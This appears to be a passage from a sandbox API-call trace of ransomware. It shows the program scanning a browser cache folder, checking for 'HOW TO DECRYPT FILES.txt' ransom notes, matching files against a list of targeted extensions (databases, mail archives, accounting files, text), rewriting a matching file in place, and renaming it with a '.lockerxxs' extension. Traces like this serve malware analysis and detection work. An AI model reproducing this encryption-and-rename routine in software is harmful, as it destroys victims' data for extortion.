0 [0082.544] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="print[1].txt") returned -1 [0082.544] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="print[1].txt") returned -1 [0082.544] lstrcmpiA (lpString1="", lpString2="print[1].txt") returned -1 [0082.544] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\index[1].htm") returned="index[1].htm" [0082.544] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\" [0082.544] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\") returned="" [0082.544] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\HOW TO DECRYPT FILES.txt" [0082.544] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\how to decrypt files.txt")) returned 0x2020 [0082.544] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\", lpString2="print[1].txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\print[1].txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\print[1].txt" [0082.544] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\print[1].txt", pszSpec="*.ems") returned 0 [0082.544] lstrlenA (lpString="*.ems") returned 5 [0082.544] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\print[1].txt", pszSpec="*.db") returned 0 [0082.544] lstrlenA (lpString="*.db") returned 4 [0082.544] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\print[1].txt", pszSpec="*.dbf") returned 0 [0082.544] lstrlenA (lpString="*.dbf") returned 5 [0082.545] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\print[1].txt", pszSpec="*.myox") returned 0 [0082.545] lstrlenA (lpString="*.myox") returned 6 [0082.545] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\print[1].txt", pszSpec="*.myo") returned 0 [0082.545] lstrlenA (lpString="*.myo") returned 5 [0082.545] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\print[1].txt", pszSpec="*.qbw") returned 0 [0082.545] lstrlenA (lpString="*.qbw") returned 5 [0082.545] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\print[1].txt", pszSpec="*.qbb") returned 0 [0082.545] lstrlenA (lpString="*.qbb") returned 5 [0082.545] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\print[1].txt", pszSpec="*.qbm") returned 0 [0082.545] lstrlenA (lpString="*.qbm") returned 5 [0082.545] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\print[1].txt", pszSpec="*.qbo") returned 0 [0082.545] lstrlenA (lpString="*.qbo") returned 5 [0082.545] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\print[1].txt", pszSpec="*.qbx") returned 0 [0082.545] lstrlenA (lpString="*.qbx") returned 5 [0082.545] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\print[1].txt", pszSpec="*.qba") returned 0 [0082.545] lstrlenA (lpString="*.qba") returned 5 [0082.545] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\print[1].txt", pszSpec="*.qby") returned 0 [0082.545] lstrlenA (lpString="*.qby") returned 5 [0082.545] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\print[1].txt", pszSpec="*.qbj") returned 0 [0082.545] lstrlenA (lpString="*.qbj") returned 5 [0082.545] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\print[1].txt", pszSpec="*.ofx") returned 0 [0082.545] lstrlenA (lpString="*.ofx") returned 5 [0082.545] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\print[1].txt", pszSpec="*.qif") returned 0 [0082.545] lstrlenA (lpString="*.qif") returned 5 [0082.545] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\print[1].txt", pszSpec="*.mye") returned 0 [0082.545] lstrlenA (lpString="*.mye") returned 5 [0082.545] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\print[1].txt", pszSpec="*.mbox") returned 0 [0082.546] lstrlenA (lpString="*.mbox") returned 6 [0082.546] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\print[1].txt", pszSpec="*.eml") returned 0 [0082.546] lstrlenA (lpString="*.eml") returned 5 [0082.546] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\print[1].txt", pszSpec="*.pst") returned 0 [0082.546] lstrlenA (lpString="*.pst") returned 5 [0082.546] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\print[1].txt", pszSpec="*.ost") returned 0 [0082.546] lstrlenA (lpString="*.ost") returned 5 [0082.546] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\print[1].txt", pszSpec="*.idx") returned 0 [0082.546] lstrlenA (lpString="*.idx") returned 5 [0082.546] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\print[1].txt", pszSpec="*.dbx") returned 0 [0082.546] lstrlenA (lpString="*.dbx") returned 5 [0082.546] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\print[1].txt", pszSpec="*.sql") returned 0 [0082.546] lstrlenA (lpString="*.sql") returned 5 [0082.546] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\print[1].txt", pszSpec="*.mdb") returned 0 [0082.546] lstrlenA (lpString="*.mdb") returned 5 [0082.546] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\print[1].txt", pszSpec="*.fdb") returned 0 [0082.546] lstrlenA (lpString="*.fdb") returned 5 [0082.546] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\print[1].txt", pszSpec="*.wab") returned 0 [0082.546] lstrlenA (lpString="*.wab") returned 5 [0082.546] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\print[1].txt", pszSpec="*.dat") returned 0 [0082.546] lstrlenA (lpString="*.dat") returned 5 [0082.546] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\print[1].txt", pszSpec="*.txt") returned 1 [0082.546] lstrlenA (lpString="*.txt") returned 5 [0082.546] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\print[1].txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\print[1].txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\print[1].txt" [0082.546] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\print[1].txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\print[1].txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\print[1].txt" [0082.546] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\print[1].txt", lpString2="." | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\print[1].txt.") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\print[1].txt." [0082.546] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\print[1].txt.", lpString2="lockerxxs" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\print[1].txt.lockerxxs") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\print[1].txt.lockerxxs" [0082.546] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\print[1].txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\print[1].txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xa4 [0082.547] GetFileSize (in: hFile=0xa4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xa2 [0082.547] GetFileTime (in: hFile=0xa4, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: lpCreationTime=0x40752e*(dwLowDateTime=0x54fa1af0, dwHighDateTime=0x1d2dd9e), lpLastAccessTime=0x407536*(dwLowDateTime=0x54fa1af0, dwHighDateTime=0x1d2dd9e), lpLastWriteTime=0x40753e*(dwLowDateTime=0x54fa1af0, dwHighDateTime=0x1d2dd9e)) returned 1 [0082.547] SetFilePointer (in: hFile=0xa4, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0082.547] ReadFile (in: hFile=0xa4, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0x7c, lpOverlapped=0x0) returned 1 [0082.549] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\print[1].txt") returned="print[1].txt" [0082.549] SetFilePointer (in: hFile=0xa4, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0082.549] WriteFile (in: hFile=0xa4, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0x7c, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0x7c, lpOverlapped=0x0) returned 1 [0082.549] SetFileTime (hFile=0xa4, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0082.550] CloseHandle (hObject=0xa4) returned 1 [0082.552] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\print[1].txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\print[1].txt"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\print[1].txt.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\print[1].txt.lockerxxs")) returned 1 [0082.553] FindNextFileA (in: hFindFile=0x502758, lpFindFileData=0x18f118 | out: lpFindFileData=0x18f118*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x44f697b0, ftCreationTime.dwHighDateTime=0x1d2faf3, ftLastAccessTime.dwLowDateTime=0x44f697b0, ftLastAccessTime.dwHighDateTime=0x1d2faf3, ftLastWriteTime.dwLowDateTime=0x44f8f910, ftLastWriteTime.dwHighDateTime=0x1d2faf3, nFileSizeHigh=0x0, nFileSizeLow=0x15429, dwReserved0=0x18000018, dwReserved1=0x4f9018, cFileName="Standard[1]", cAlternateFileName="STANDA~1")) returned 1 [0082.553] PeekMessageA (in: lpMsg=0x18f0f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f0f4) returned 0 [0082.553] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Standard[1]") returned -1 [0082.553] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Standard[1]") returned -1 [0082.553] lstrcmpiA (lpString1="", lpString2="Standard[1]") returned -1 [0082.553] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\print[1].txt") returned="print[1].txt" [0082.553] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\" [0082.553] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\") returned="" [0082.554] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\HOW TO DECRYPT FILES.txt" [0082.554] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\how to decrypt files.txt")) returned 0x2020 [0082.554] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\", lpString2="Standard[1]" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\Standard[1]") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\Standard[1]" [0082.554] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\Standard[1]", pszSpec="*.ems") returned 0 [0082.554] lstrlenA (lpString="*.ems") returned 5 [0082.554] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\Standard[1]", pszSpec="*.db") returned 0 [0082.554] lstrlenA (lpString="*.db") returned 4 [0082.554] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\Standard[1]", pszSpec="*.dbf") returned 0 [0082.554] lstrlenA (lpString="*.dbf") returned 5 [0082.554] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\Standard[1]", pszSpec="*.myox") returned 0 [0082.554] lstrlenA (lpString="*.myox") returned 6 [0082.554] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\Standard[1]", pszSpec="*.myo") returned 0 [0082.554] lstrlenA (lpString="*.myo") returned 5 [0082.554] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\Standard[1]", pszSpec="*.qbw") returned 0 [0082.554] lstrlenA (lpString="*.qbw") returned 5 [0082.554] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\Standard[1]", pszSpec="*.qbb") returned 0 [0082.554] lstrlenA (lpString="*.qbb") returned 5 [0082.554] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\Standard[1]", pszSpec="*.qbm") returned 0 [0082.554] lstrlenA (lpString="*.qbm") returned 5 [0082.554] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\Standard[1]", pszSpec="*.qbo") returned 0 [0082.554] lstrlenA (lpString="*.qbo") returned 5 [0082.555] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\Standard[1]", pszSpec="*.qbx") returned 0 [0082.555] lstrlenA (lpString="*.qbx") returned 5 [0082.555] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\Standard[1]", pszSpec="*.qba") returned 0 [0082.555] lstrlenA (lpString="*.qba") returned 5 [0082.555] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\Standard[1]", pszSpec="*.qby") returned 0 [0082.555] lstrlenA (lpString="*.qby") returned 5 [0082.555] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\Standard[1]", pszSpec="*.qbj") returned 0 [0082.555] lstrlenA (lpString="*.qbj") returned 5 [0082.555] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\Standard[1]", pszSpec="*.ofx") returned 0 [0082.555] lstrlenA (lpString="*.ofx") returned 5 [0082.555] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\Standard[1]", pszSpec="*.qif") returned 0 [0082.555] lstrlenA (lpString="*.qif") returned 5 [0082.555] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\Standard[1]", pszSpec="*.mye") returned 0 [0082.555] lstrlenA (lpString="*.mye") returned 5 [0082.555] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\Standard[1]", pszSpec="*.mbox") returned 0 [0082.555] lstrlenA (lpString="*.mbox") returned 6 [0082.555] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\Standard[1]", pszSpec="*.eml") returned 0 [0082.555] lstrlenA (lpString="*.eml") returned 5 [0082.555] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\Standard[1]", pszSpec="*.pst") returned 0 [0082.555] lstrlenA (lpString="*.pst") returned 5 [0082.555] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\Standard[1]", pszSpec="*.ost") returned 0 [0082.555] lstrlenA (lpString="*.ost") returned 5 [0082.555] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\Standard[1]", pszSpec="*.idx") returned 0 [0082.555] lstrlenA (lpString="*.idx") returned 5 [0082.555] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\Standard[1]", pszSpec="*.dbx") returned 0 [0082.555] lstrlenA (lpString="*.dbx") returned 5 [0082.556] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\Standard[1]", pszSpec="*.sql") returned 0 [0082.556] lstrlenA (lpString="*.sql") returned 5 [0082.556] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\Standard[1]", pszSpec="*.mdb") returned 0 [0082.556] lstrlenA (lpString="*.mdb") returned 5 [0082.556] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\Standard[1]", pszSpec="*.fdb") returned 0 [0082.556] lstrlenA (lpString="*.fdb") returned 5 [0082.556] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\Standard[1]", pszSpec="*.wab") returned 0 [0082.556] lstrlenA (lpString="*.wab") returned 5 [0082.556] PathMatchSpecA 